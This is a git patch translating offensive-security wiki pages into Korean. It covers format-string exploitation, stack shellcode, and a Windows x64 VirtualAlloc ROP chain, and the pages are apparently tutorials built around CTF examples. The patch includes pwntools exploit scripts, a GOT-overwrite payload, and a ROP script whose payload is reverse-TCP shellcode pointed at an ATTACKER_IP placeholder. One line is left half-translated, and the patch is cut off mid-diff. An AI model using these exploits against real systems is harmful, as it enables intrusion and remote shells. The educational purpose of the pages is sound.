From ff95809f3fe3daaca699bcd6db330b0ee414c1d1 Mon Sep 17 00:00:00 2001 From: Translator Date: Thu, 28 Aug 2025 16:54:58 +0000 Subject: [PATCH] Translated ['src/windows-hardening/windows-local-privilege-escalation/RE --- src/SUMMARY.md | 1 + .../format-strings/README.md | 128 ++- .../stack-overflow/stack-shellcode/README.md | 118 ++- .../README.md | 762 +++++++++--------- .../arbitrary-kernel-rw-token-theft.md | 122 +++ 5 files changed, 692 insertions(+), 439 deletions(-) create mode 100644 src/windows-hardening/windows-local-privilege-escalation/arbitrary-kernel-rw-token-theft.md diff --git a/src/SUMMARY.md b/src/SUMMARY.md index ccaa8f2fe..e181a795f 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -234,6 +234,7 @@ - [Authentication Credentials Uac And Efs](windows-hardening/authentication-credentials-uac-and-efs.md) - [Checklist - Local Windows Privilege Escalation](windows-hardening/checklist-windows-privilege-escalation.md) - [Windows Local Privilege Escalation](windows-hardening/windows-local-privilege-escalation/README.md) + - [Arbitrary Kernel Rw Token Theft](windows-hardening/windows-local-privilege-escalation/arbitrary-kernel-rw-token-theft.md) - [Dll Hijacking](windows-hardening/windows-local-privilege-escalation/dll-hijacking.md) - [Abusing Tokens](windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.md) - [Access Tokens](windows-hardening/windows-local-privilege-escalation/access-tokens.md) diff --git a/src/binary-exploitation/format-strings/README.md b/src/binary-exploitation/format-strings/README.md index 0d8dc4af6..d411bb4af 100644 --- a/src/binary-exploitation/format-strings/README.md +++ b/src/binary-exploitation/format-strings/README.md @@ -3,13 +3,13 @@ {{#include ../../banners/hacktricks-training.md}} -## Basic Information +## 기본 정보 -C에서 **`printf`**는 문자열을 **출력**하는 데 사용할 수 있는 함수입니다. 이 함수가 기대하는 **첫 번째 매개변수**는 **형식 지정자가 포함된 원시 텍스트**입니다. **다음 매개변수**는 원시 텍스트의 **형식 지정자**를 **대체**할 **값**입니다. +C에서 **`printf`**는 문자열을 **출력**하는 데 사용되는 함수입니다. 이 함수가 기대하는 **첫 번째 매개변수**는 **포맷터가 포함된 원시 텍스트**입니다. 그 다음에 오는 **매개변수들**은 원시 텍스트의 **포맷터를 대체할 값들**입니다. -다른 취약한 함수로는 **`sprintf()`**와 **`fprintf()`**가 있습니다. +취약한 다른 함수로는 **`sprintf()`**와 **`fprintf()`**가 있습니다. -취약점은 **공격자 텍스트가 이 함수의 첫 번째 인수로 사용될 때** 나타납니다. 공격자는 **printf 형식** 문자열 기능을 악용하여 **특수 입력**을 만들어 **읽기 및 쓰기 가능한 모든 주소의 데이터를 읽고 쓸 수** 있습니다. 이렇게 해서 **임의 코드를 실행**할 수 있습니다. +이 취약점은 공격자의 텍스트가 이 함수의 **첫 번째 인수로 사용될 때** 발생합니다. 공격자는 **printf format** 문자열 기능을 악용하는 **특수한 입력**을 구성하여 임의의 주소에서 데이터를 **읽고 쓰기(읽기/쓰기 가능)** 할 수 있게 됩니다. 이를 통해 **임의의 코드 실행**이 가능해집니다. #### Formatters: ```bash @@ -22,7 +22,7 @@ C에서 **`printf`**는 문자열을 **출력**하는 데 사용할 수 있는 %hn —> Occupies 2 bytes instead of 4 $X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3 ``` -**예시:** +**예시:** - 취약한 예: ```c @@ -30,12 +30,12 @@ char buffer[30]; gets(buffer); // Dangerous: takes user input without restrictions. printf(buffer); // If buffer contains "%x", it reads from the stack. ``` -- 일반 사용: +- 일반적인 사용: ```c int value = 1205; printf("%x %x %x", value, value, value); // Outputs: 4b5 4b5 4b5 ``` -- 인수가 누락된 경우: +- 인수 누락 시: ```c printf("%x %x %x", value); // Unexpected output: reads random values from the stack. ``` @@ -52,28 +52,28 @@ fclose(output_file); return 0; } ``` -### **포인터 접근** +### **포인터 접근하기** -형식 **`%$x`**에서 `n`은 숫자로, printf에게 스택에서 n번째 매개변수를 선택하도록 지시합니다. 따라서 printf를 사용하여 스택에서 4번째 매개변수를 읽고 싶다면 다음과 같이 할 수 있습니다: +형식 **`%$x`**, 여기서 `n`은 숫자이며, printf에게 스택에서 n번째 param을 선택하라고 지시할 수 있습니다. 따라서 printf를 사용해 스택에서 4번째 param을 읽고 싶다면 다음과 같이 할 수 있습니다: ```c printf("%x %x %x %x") ``` -첫 번째부터 네 번째 매개변수까지 읽을 수 있습니다. +그리고 첫 번째부터 네 번째 파라미터까지 읽게 됩니다. -또는 다음과 같이 할 수 있습니다: +혹은 다음과 같이 할 수도 있습니다: ```c printf("%4$x") ``` 그리고 네 번째를 직접 읽습니다. -공격자가 `printf` **매개변수를 제어한다는 것은** 그의 입력이 `printf`가 호출될 때 스택에 존재한다는 것을 의미하며, 이는 그가 스택에 특정 메모리 주소를 쓸 수 있다는 것을 의미합니다. +Notice that the attacker controls the `printf` **매개변수를 제어한다는 것은** his input is going to be in the stack when `printf` is called, which means that he could write specific memory addresses in the stack. > [!CAUTION] -> 이 입력을 제어하는 공격자는 **스택에 임의의 주소를 추가하고 `printf`가 이를 접근하게 만들 수 있습니다**. 다음 섹션에서는 이 동작을 사용하는 방법에 대해 설명합니다. +> 이 입력을 제어하는 공격자는 **스택에 임의의 주소를 추가하고 `printf`가 그것들에 접근하게 만들 수 있다**. 다음 섹션에서 이 동작을 어떻게 활용하는지 설명합니다. -## **임의 읽기** +## **Arbitrary Read** -형식 지정자 **`%n$s`**를 사용하여 **`printf`**가 **n 위치**에 있는 **주소**를 가져오고 **문자열처럼 출력**할 수 있습니다(0x00이 발견될 때까지 출력). 따라서 바이너리의 기본 주소가 **`0x8048000`**이고, 사용자 입력이 스택의 4번째 위치에서 시작된다는 것을 알고 있다면, 다음과 같이 바이너리의 시작 부분을 출력할 수 있습니다: +포매터 **`%n$s`**를 사용하여 **`printf`**가 **n번째 위치에 있는 주소**를 가져오도록 하고, 그 주소를 따라가서 **문자열인 것처럼 출력**하게 만들 수 있다(0x00이 나올 때까지 출력). 그래서 바이너리의 베이스 주소가 **`0x8048000`**이고 사용자 입력이 스택의 4번째 위치에서 시작함을 알고 있다면, 바이너리의 시작 부분을 다음과 같이 출력할 수 있다: ```python from pwn import * @@ -87,15 +87,15 @@ p.sendline(payload) log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||' ``` > [!CAUTION] -> 입력의 시작 부분에 주소 0x8048000을 넣을 수 없다는 점에 유의하세요. 문자열은 해당 주소의 끝에서 0x00으로 잘리기 때문입니다. +> 입력의 시작 부분에 주소 0x8048000을 넣을 수 없다는 점에 주의하세요. 문자열이 해당 주소의 끝에서 0x00으로 잘려버리기 때문입니다. ### 오프셋 찾기 -입력에 대한 오프셋을 찾으려면 4 또는 8 바이트(`0x41414141`)를 전송한 다음 **`%1$x`**를 추가하고 **값을 증가시켜** `A's`를 검색할 수 있습니다. +오프셋을 찾으려면 4 또는 8바이트(`0x41414141`)를 보낸 다음 **`%1$x`**를 붙이고 **값을 증가시켜** `A's`가 나올 때까지 확인하면 됩니다.
-브루트 포스 printf 오프셋 +Brute Force printf offset ```python # Code from https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak @@ -126,44 +126,47 @@ p.close() ```
-### 얼마나 유용한가 +### 유용성 -임의 읽기는 다음과 같은 용도로 유용할 수 있습니다: +Arbitrary reads는 다음과 같은 경우에 유용할 수 있다: -- **메모리에서** **바이너리**를 **덤프**하기 -- **민감한** **정보**가 저장된 메모리의 특정 부분에 **접근하기** (예: [**CTF 챌린지**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value)에서와 같이 카나리, 암호화 키 또는 사용자 정의 비밀번호) +- 메모리에서 **binary**를 **Dump**한다 +- canaries, encryption keys 또는 custom passwords와 같이 민감한 **info**가 저장된 메모리의 특정 부분에 **Access**한다 (예: 이 [**CTF challenge**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value)) -## **임의 쓰기** +## **Arbitrary Write** -포맷터 **`%$n`**은 스택의 \ 매개변수에 지정된 주소에 **쓰기 바이트 수**를 **기록**합니다. 공격자가 printf를 사용하여 원하는 만큼의 문자를 쓸 수 있다면, 그는 **`%$n`**을 사용하여 임의의 주소에 임의의 숫자를 쓸 수 있게 됩니다. +포매터 **`%$n`**는 스택의 파라미터가 가리키는 주소에 지금까지 출력된 바이트 수를 쓴다. 만약 attacker가 printf로 원하는 만큼의 char를 출력할 수 있다면, **`%$n`**을 이용해 임의의 주소에 임의의 수를 쓸 수 있다. -다행히도, 숫자 9999를 쓰기 위해 입력에 9999개의 "A"를 추가할 필요는 없으며, 이를 위해 포맷터 **`%.%$n`**을 사용하여 **``** 숫자를 **`num` 위치가 가리키는 주소**에 쓸 수 있습니다. +다행히도 숫자 9999를 쓰기 위해 입력에 "A"를 9999개 넣을 필요는 없다. 대신 포매터 **`%.%$n`**를 사용하면 숫자 **``**를 **`num` 위치가 가리키는 주소**에 쓸 수 있다. ```bash AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param AAAA.%500\$08x —> Param at offset 500 ``` -그러나 일반적으로 `0x08049724`와 같은 주소를 작성하기 위해 (한 번에 작성하기에는 엄청난 숫자입니다), **`$hn`**이 **`$n`** 대신 사용됩니다. 이렇게 하면 **2바이트만 작성**할 수 있습니다. 따라서 이 작업은 주소의 가장 높은 2바이트와 가장 낮은 2바이트에 대해 각각 두 번 수행됩니다. +하지만, 일반적으로 `0x08049724` 같은 주소(한 번에 쓰기에는 매우 큰 수)를 쓰기 위해서는 **$n** 대신 **$hn**을 사용한다. 이는 **2 Bytes만 쓰도록** 해준다. 따라서 이 작업은 주소의 상위 2B와 하위 2B에 대해 각각 두 번 수행된다. -따라서 이 취약점은 **임의의 주소에 무엇이든 쓸 수 있게** 합니다. +따라서, 이 취약점은 **임의의 주소에 무엇이든 쓸 수 있다 (arbitrary write).** + +이 예제에서는 나중에 호출될 **GOT** 테이블의 **함수** 주소를 **덮어쓰는(overwrite)** 것이 목표이다. 물론 이는 다른 arbitrary write → exec 기법을 악용할 수도 있다: -이 예제에서 목표는 **나중에 호출될** **함수**의 **주소**를 **덮어쓰는** 것입니다. 이는 다른 임의 쓰기를 악용하여 exec 기술을 사용할 수 있습니다: {{#ref}} ../arbitrary-write-2-exec/ {{#endref}} -우리는 **사용자**로부터 **인수**를 **받는** **함수**를 **덮어쓰고**, 이를 **`system`** **함수**를 가리키도록 할 것입니다.\ -앞서 언급했듯이 주소를 쓰기 위해 일반적으로 2단계가 필요합니다: 먼저 주소의 2바이트를 쓰고, 그 다음에 나머지 2바이트를 씁니다. 이를 위해 **`$hn`**이 사용됩니다. +우리는 **사용자**로부터 **인자(arguments)** 를 받는 **함수**의 주소를 **덮어써서** 이를 **`system`** **함수**로 **가리키도록(point)** 할 것이다.\ +앞서 언급했듯이, 주소를 쓰기 위해 보통 2단계가 필요하다: 먼저 주소의 **2Bytes를 쓰고**, 그 다음 나머지 2Bytes를 쓴다. 이를 위해 **`$hn`**을 사용한다. -- **HOB**는 주소의 2개의 높은 바이트를 나타냅니다. -- **LOB**는 주소의 2개의 낮은 바이트를 나타냅니다. +- **HOB**는 주소의 상위 2바이트를 의미한다 +- **LOB**는 주소의 하위 2바이트를 의미한다 -그런 다음, 포맷 문자열의 작동 방식 때문에 \[HOB, LOB] 중에서 **먼저 가장 작은 값을 써야** 합니다. +그런 다음, format string의 동작 방식 때문에 \[HOB, LOB] 중 **작은 값을 먼저** 쓰고 그 다음 큰 값을 써야 한다. -HOB < LOB\ +만약 HOB < LOB\ +[HOB < LOB] `[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]` -HOB > LOB\ +만약 HOB > LOB\ +[HOB > LOB] `[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]` HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB @@ -172,14 +175,14 @@ python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + " ``` ### Pwntools 템플릿 -이러한 종류의 취약점을 위한 익스플로잇을 준비하는 **템플릿**을 찾을 수 있습니다: +다음에서 이러한 종류의 취약점에 대한 exploit을 준비하기 위한 **template**을 찾을 수 있습니다: {{#ref}} format-strings-template.md {{#endref}} -또는 [**여기**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite)에서 이 기본 예제를 확인하세요: +또는 [**here**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite)의 기본 예제: ```python from pwn import * @@ -200,19 +203,60 @@ p.interactive() ``` ## Format Strings to BOF -형식 문자열 취약점의 쓰기 작업을 악용하여 **스택의 주소에 쓰기**를 하고 **버퍼 오버플로우** 유형의 취약점을 이용할 수 있습니다. +format string 취약점의 쓰기 동작을 악용하여 **write in addresses of the stack**하고 **buffer overflow** 유형의 취약점을 유발할 수 있다. -## Other Examples & References + +## Windows x64: Format-string leak to bypass ASLR (no varargs) + +Windows x64에서는 첫 네 개의 정수/포인터 매개변수가 레지스터 RCX, RDX, R8, R9에 전달된다. 많은 취약한 호출 지점에서 공격자가 제어하는 문자열이 format 인자로 사용되지만, variadic arguments는 제공되지 않는 경우가 있다. 예: +```c +// keyData is fully controlled by the client +// _snprintf(dst, len, fmt, ...) +_snprintf(keyStringBuffer, 0xff2, (char*)keyData); +``` +가변 인자가 전달되지 않기 때문에 "%p", "%x", "%s" 같은 변환은 CRT가 적절한 레지스터에서 다음 가변 인자를 읽도록 한다. Microsoft x64 calling convention에서 "%p"에 대한 첫 번째 읽기는 R9에서 발생한다. 호출 지점의 R9에 들어있는 일시적인 값이 출력된다. 실제로 이는 종종 모듈 내부의 안정적인 포인터를 leak하는데(예: 주변 코드에 의해 이전에 R9에 놓인 로컬/글로벌 객체를 가리키는 포인터 또는 callee-saved 값), 이를 이용해 module base를 복구하고 ASLR을 무력화할 수 있다. + +Practical workflow: + +- 공격자가 제어하는 문자열의 맨 앞에 "%p " 같은 무해한 포맷을 주입하여 첫 번째 변환이 필터링 이전에 실행되게 한다. +- leaked pointer를 캡처하고, 모듈 내부에서 그 객체의 정적 오프셋을 식별(심볼로 한 번 리버스하거나 로컬 복사본 이용)한 다음 image base를 `leak - known_offset`으로 복원한다. +- 해당 base를 재사용하여 ROP gadgets 및 IAT entries의 절대 주소를 원격에서 계산한다. + +Example (abbreviated python): +```python +from pwn import remote + +# Send an input that the vulnerable code will pass as the "format" +fmt = b"%p " + b"-AAAAA-BBB-CCCC-0252-" # leading %p leaks R9 +io = remote(HOST, 4141) +# ... drive protocol to reach the vulnerable snprintf ... +leaked = int(io.recvline().split()[2], 16) # e.g. 0x7ff6693d0660 +base = leaked - 0x20660 # module base = leak - offset +print(hex(leaked), hex(base)) +``` +노트: +- 정확히 빼야 할 오프셋은 로컬 리버싱 중 한 번 찾아내고 그 후 재사용합니다(같은 binary/version). +- "%p"가 첫 시도에 유효한 포인터를 출력하지 않으면, 다른 서식 지정자("%llx", "%s")나 여러 변환("%p %p %p")을 시도하여 다른 인자 레지스터/스택을 샘플링해 보세요. +- 이 패턴은 format string이 요구할 때 레지스터에서 존재하지 않는 varargs를 가져오는 Windows x64 calling convention 및 printf-family 구현에만 해당합니다. + +이 기법은 ASLR이 적용되고 명백한 memory disclosure primitives가 없는 Windows 서비스에서 ROP를 부트스트랩하는 데 매우 유용합니다. + +## 다른 예제 및 참고자료 - [https://ir0nstone.gitbook.io/notes/types/stack/format-string](https://ir0nstone.gitbook.io/notes/types/stack/format-string) - [https://www.youtube.com/watch?v=t1LH9D5cuK4](https://www.youtube.com/watch?v=t1LH9D5cuK4) - [https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak) - [https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html](https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html) -- 32 비트, no relro, no canary, nx, no pie, 스택에서 플래그를 유출하기 위한 형식 문자열의 기본 사용 (실행 흐름을 변경할 필요 없음) +- 32 bit, no relro, no canary, nx, no pie — format strings를 사용해 스택에서 flag를 leak(실행 흐름을 변경할 필요 없음) - [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html) -- 32 비트, relro, no canary, nx, no pie, `fflush` 주소를 win 함수로 덮어쓰는 형식 문자열 (ret2win) +- 32 bit, relro, no canary, nx, no pie — format string로 `fflush`의 주소를 win 함수(ret2win)로 덮어쓰기 - [https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html](https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html) -- 32 비트, relro, no canary, nx, no pie, `.fini_array` 내의 main에 주소를 쓰기 위한 형식 문자열 (그래서 흐름이 한 번 더 반복됨) 및 `strlen`을 가리키는 GOT 테이블의 `system` 주소를 쓰기. 흐름이 main으로 돌아가면, `strlen`이 사용자 입력과 함께 실행되고 `system`을 가리키면, 전달된 명령이 실행됩니다. +- 32 bit, relro, no canary, nx, no pie — format string로 main 내부의 주소를 `.fini_array`에 쓰게 하여(흐름이 한 번 더 main으로 되돌아감) GOT 테이블의 `strlen`을 `system`을 가리키도록 덮어씁니다. 흐름이 main으로 돌아가면, `strlen`이 사용자 입력과 함께 호출되며 `system`을 가리키므로 전달된 명령이 실행됩니다. +## 참고자료 + +- [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE)](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html) +- [x64 calling convention (MSVC)](https://learn.microsoft.com/en-us/cpp/build/x64-calling-convention) + {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/stack-overflow/stack-shellcode/README.md b/src/binary-exploitation/stack-overflow/stack-shellcode/README.md index d35557604..32e2a4993 100644 --- a/src/binary-exploitation/stack-overflow/stack-shellcode/README.md +++ b/src/binary-exploitation/stack-overflow/stack-shellcode/README.md @@ -2,13 +2,13 @@ {{#include ../../../banners/hacktricks-training.md}} -## Basic Information +## 기본 정보 -**스택 셸코드**는 **바이너리 익스플로잇**에서 사용되는 기술로, 공격자가 취약한 프로그램의 스택에 셸코드를 작성한 다음 **명령 포인터 (IP)** 또는 **확장 명령 포인터 (EIP)**를 이 셸코드의 위치를 가리키도록 수정하여 실행되도록 하는 방법입니다. 이는 무단 접근을 얻거나 대상 시스템에서 임의의 명령을 실행하기 위해 사용되는 고전적인 방법입니다. 다음은 프로세스의 개요와 간단한 C 예제, 그리고 **pwntools**를 사용하여 해당 익스플로잇을 작성하는 방법입니다. +**Stack shellcode**은 **binary exploitation**에서 사용되는 기법으로, 공격자가 취약한 프로그램의 스택에 shellcode를 기록한 다음 **Instruction Pointer (IP)** 또는 **Extended Instruction Pointer (EIP)**를 수정하여 해당 shellcode의 위치를 가리키게 하고 실행되게 합니다. 이는 대상 시스템에 무단으로 접근하거나 임의의 명령을 실행하기 위해 사용되는 전형적인 방법입니다. 다음은 그 과정을 단계별로 설명한 것이며, 간단한 C 예제와 Python으로 **pwntools**를 사용해 대응하는 exploit을 작성하는 방법을 포함합니다. -### C Example: A Vulnerable Program +### C 예제: 취약한 프로그램 -Let's start with a simple example of a vulnerable C program: +취약한 C 프로그램의 간단한 예제로 시작해봅시다: ```c #include #include @@ -24,22 +24,22 @@ printf("Returned safely\n"); return 0; } ``` -이 프로그램은 `gets()` 함수를 사용하여 버퍼 오버플로우에 취약합니다. +이 프로그램은 `gets()` 함수의 사용으로 인해 buffer overflow에 취약합니다. -### 컴파일 +### Compilation -이 프로그램을 다양한 보호 기능을 비활성화하여 컴파일하려면 (취약한 환경을 시뮬레이션하기 위해) 다음 명령어를 사용할 수 있습니다: +이 프로그램을 여러 보호 기능을 비활성화하여(취약한 환경을 시뮬레이션하기 위해) 컴파일하려면 다음 명령을 사용할 수 있습니다: ```sh gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c ``` - `-fno-stack-protector`: 스택 보호를 비활성화합니다. -- `-z execstack`: 스택을 실행 가능하게 만들어, 스택에 저장된 shellcode를 실행하는 데 필요합니다. -- `-no-pie`: 위치 독립 실행 파일을 비활성화하여, 우리의 shellcode가 위치할 메모리 주소를 예측하기 쉽게 만듭니다. -- `-m32`: 프로그램을 32비트 실행 파일로 컴파일하여, 익스플로잇 개발의 단순성을 위해 자주 사용됩니다. +- `-z execstack`: 스택을 실행 가능하게 만듭니다. 이는 스택에 저장된 shellcode를 실행하는 데 필요합니다. +- `-no-pie`: Position Independent Executable(PIE)을 비활성화하여 shellcode가 위치할 메모리 주소를 예측하기 쉽게 만듭니다. +- `-m32`: 프로그램을 32-bit 실행 파일로 컴파일합니다. 일반적으로 exploit 개발에서 단순화를 위해 사용됩니다. -### Python Exploit using Pwntools +### Pwntools를 사용한 Python Exploit -여기 **pwntools**를 사용하여 **ret2shellcode** 공격을 수행하는 Python 익스플로잇을 작성하는 방법이 있습니다: +다음은 **pwntools**를 사용해 **ret2shellcode** 공격을 수행하기 위해 Python으로 exploit을 작성하는 방법입니다: ```python from pwn import * @@ -66,26 +66,98 @@ payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide p.sendline(payload) p.interactive() ``` -이 스크립트는 **NOP 슬라이드**, **쉘코드**로 구성된 페이로드를 생성한 다음, **EIP**를 NOP 슬라이드를 가리키는 주소로 덮어써서 쉘코드가 실행되도록 합니다. +이 스크립트는 **NOP slide**, **shellcode**로 구성된 payload를 만들고, 그 다음 **EIP**를 NOP slide를 가리키는 주소로 덮어써서 shellcode가 실행되도록 합니다. -**NOP 슬라이드**(`asm('nop')`)는 실행이 정확한 주소에 관계없이 쉘코드로 "슬라이드"될 가능성을 높이기 위해 사용됩니다. `p32()` 인수를 버퍼의 시작 주소에 오프셋을 더한 값으로 조정하여 NOP 슬라이드에 도달하도록 합니다. +The **NOP slide** (`asm('nop')`)은 정확한 주소와 무관하게 실행이 우리 shellcode로 "슬라이드"될 가능성을 높이기 위해 사용됩니다. NOP slide에 도달하도록 버퍼의 시작 주소에 오프셋을 더한 값으로 `p32()` 인자를 조정하세요. -## 보호 조치 +## Windows x64: Bypass NX with VirtualAlloc ROP (ret2stack shellcode) -- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/index.html) **은 비활성화되어야** 주소가 실행 간에 신뢰할 수 있도록 하거나 함수가 저장될 주소가 항상 동일하지 않으며, win 함수가 로드된 위치를 파악하기 위해 어떤 leak이 필요합니다. -- [**스택 카나리**](../../common-binary-protections-and-bypasses/stack-canaries/index.html)도 비활성화되어야 하며, 그렇지 않으면 손상된 EIP 반환 주소가 결코 따라가지 않을 것입니다. -- [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) **스택** 보호는 스택 내에서 쉘코드의 실행을 방지합니다. 해당 영역은 실행 가능하지 않기 때문입니다. +현대 Windows에서는 stack이 non-executable(DEP/NX)입니다. stack BOF 이후에도 stack-resident shellcode를 실행하는 일반적인 방법은 64-bit ROP chain을 만들어 모듈의 Import Address Table(IAT)에 있는 VirtualAlloc(또는 VirtualProtect)을 호출하여 stack의 영역을 executable로 만들고, 그 체인 뒤에 추가한 shellcode로 리턴하는 것입니다. -## 기타 예제 및 참조 +Key points (Win64 calling convention): +- VirtualAlloc(lpAddress, dwSize, flAllocationType, flProtect) +- RCX = lpAddress → 현재 stack의 주소(예: RSP)를 선택하여 새로 할당된 RWX 영역이 payload와 겹치도록 합니다 +- RDX = dwSize → chain + shellcode를 수용할 만큼 충분히 크게 설정 (예: 0x1000) +- R8 = flAllocationType = MEM_COMMIT (0x1000) +- R9 = flProtect = PAGE_EXECUTE_READWRITE (0x40) +- Return directly into the shellcode placed right after the chain. + +Minimal strategy: +1) Leak a module base (e.g., via a format-string, object pointer, etc.) to compute absolute gadget and IAT addresses under ASLR. +2) Find gadgets to load RCX/RDX/R8/R9 (pop or mov/xor-based sequences) and a call/jmp [VirtualAlloc@IAT]. If you lack direct pop r8/r9, use arithmetic gadgets to synthesize constants (e.g., set r8=0 and repeatedly add r9=0x40 forty times to reach 0x1000). +3) Place stage-2 shellcode immediately after the chain. + +Example layout (conceptual): +``` +# ... padding up to saved RIP ... +# R9 = 0x40 (PAGE_EXECUTE_READWRITE) +POP_R9_RET; 0x40 +# R8 = 0x1000 (MEM_COMMIT) — if no POP R8, derive via arithmetic +POP_R8_RET; 0x1000 +# RCX = &stack (lpAddress) +LEA_RCX_RSP_RET # or sequence: load RSP into a GPR then mov rcx, reg +# RDX = size (dwSize) +POP_RDX_RET; 0x1000 +# Call VirtualAlloc via the IAT +[IAT_VirtualAlloc] +# New RWX memory at RCX — execution continues at the next stack qword +JMP_SHELLCODE_OR_RET +# ---- stage-2 shellcode (x64) ---- +``` +제한된 gadget 세트로 레지스터 값을 간접적으로 구성할 수 있습니다. 예를 들면: +- mov r9, rbx; mov r8, 0; add rsp, 8; ret → rbx에서 r9를 설정하고, r8을 0으로 만들며, 스택을 junk qword로 보정합니다. +- xor rbx, rsp; ret → 현재 스택 포인터 값으로 rbx를 초기화합니다. +- push rbx; pop rax; mov rcx, rax; ret → RSP 유래 값을 RCX로 옮깁니다. + +Pwntools 스케치 (given a known base and gadgets): +```python +from pwn import * +base = 0x7ff6693b0000 +IAT_VirtualAlloc = base + 0x400000 # example: resolve via reversing +rop = b'' +# r9 = 0x40 +rop += p64(base+POP_RBX_RET) + p64(0x40) +rop += p64(base+MOV_R9_RBX_ZERO_R8_ADD_RSP_8_RET) + b'JUNKJUNK' +# rcx = rsp +rop += p64(base+POP_RBX_RET) + p64(0) +rop += p64(base+XOR_RBX_RSP_RET) +rop += p64(base+PUSH_RBX_POP_RAX_RET) +rop += p64(base+MOV_RCX_RAX_RET) +# r8 = 0x1000 via arithmetic if no pop r8 +for _ in range(0x1000//0x40): +rop += p64(base+ADD_R8_R9_ADD_RAX_R8_RET) +# rdx = 0x1000 (use any available gadget) +rop += p64(base+POP_RDX_RET) + p64(0x1000) +# call VirtualAlloc and land in shellcode +rop += p64(IAT_VirtualAlloc) +rop += asm(shellcraft.amd64.windows.reverse_tcp("ATTACKER_IP", ATTACKER_PORT)) +``` +Tips: +- VirtualProtect는 기존 버퍼를 RX로 만드는 것이 더 바람직한 경우에도 유사하게 동작합니다; 매개변수 순서는 다릅니다. +- 스택 공간이 부족하면 스택을 재사용하는 대신 다른 곳에 RWX를 할당(RCX=NULL)하고 그 새 영역으로 jmp하세요. +- RSP를 조정하는 gadgets(e.g., add rsp, 8; ret)을 항상 고려하여 정크 qwords를 삽입하세요. + + +- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/index.html) **비활성화되어야 합니다**. 주소가 실행마다 달라질 수 있으므로 함수가 저장될 주소가 항상 같지 않아 win 함수가 어디에 로드되는지 알아내려면 어떤 leak이 필요합니다. +- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/index.html) **또한 비활성화되어야 합니다**. 그렇지 않으면 손상된 EIP 리턴 주소가 정상적으로 이어지지 않습니다. +- [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) **stack** 보호는 스택 내부의 shellcode 실행을 방지합니다. 해당 영역이 실행 불가능하기 때문입니다. + +## 기타 예제 및 참고 - [https://ir0nstone.gitbook.io/notes/types/stack/shellcode](https://ir0nstone.gitbook.io/notes/types/stack/shellcode) - [https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html) -- 64비트, 스택 주소 leak가 있는 ASLR, 쉘코드를 작성하고 점프하기 +- 64bit, ASLR와 stack 주소 leak, shellcode를 작성하고 그 위치로 점프 - [https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html) -- 32비트, 스택 leak가 있는 ASLR, 쉘코드를 작성하고 점프하기 +- 32 bit, ASLR와 stack leak, shellcode를 작성하고 그 위치로 점프 - [https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html) -- 32비트, 스택 leak가 있는 ASLR, exit() 호출 방지를 위한 비교, 변수에 값을 덮어쓰고 쉘코드를 작성하고 점프하기 +- 32 bit, ASLR와 stack leak, exit() 호출을 방지하기 위한 비교, 변수를 값으로 덮어쓴 뒤 shellcode를 작성하고 그 위치로 점프 - [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/) -- arm64, ASLR 없음, 스택을 실행 가능하게 만드는 ROP 가젯 및 스택 내 쉘코드로 점프하기 +- arm64, ASLR 없음, ROP gadget으로 stack을 실행 가능하게 만들고 stack의 shellcode로 점프 + + +## 참고자료 + +- [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE)](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html) +- [VirtualAlloc documentation](https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualalloc) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/windows-local-privilege-escalation/README.md b/src/windows-hardening/windows-local-privilege-escalation/README.md index 638c2d192..b68bf5f07 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/README.md +++ b/src/windows-hardening/windows-local-privilege-escalation/README.md @@ -2,13 +2,13 @@ {{#include 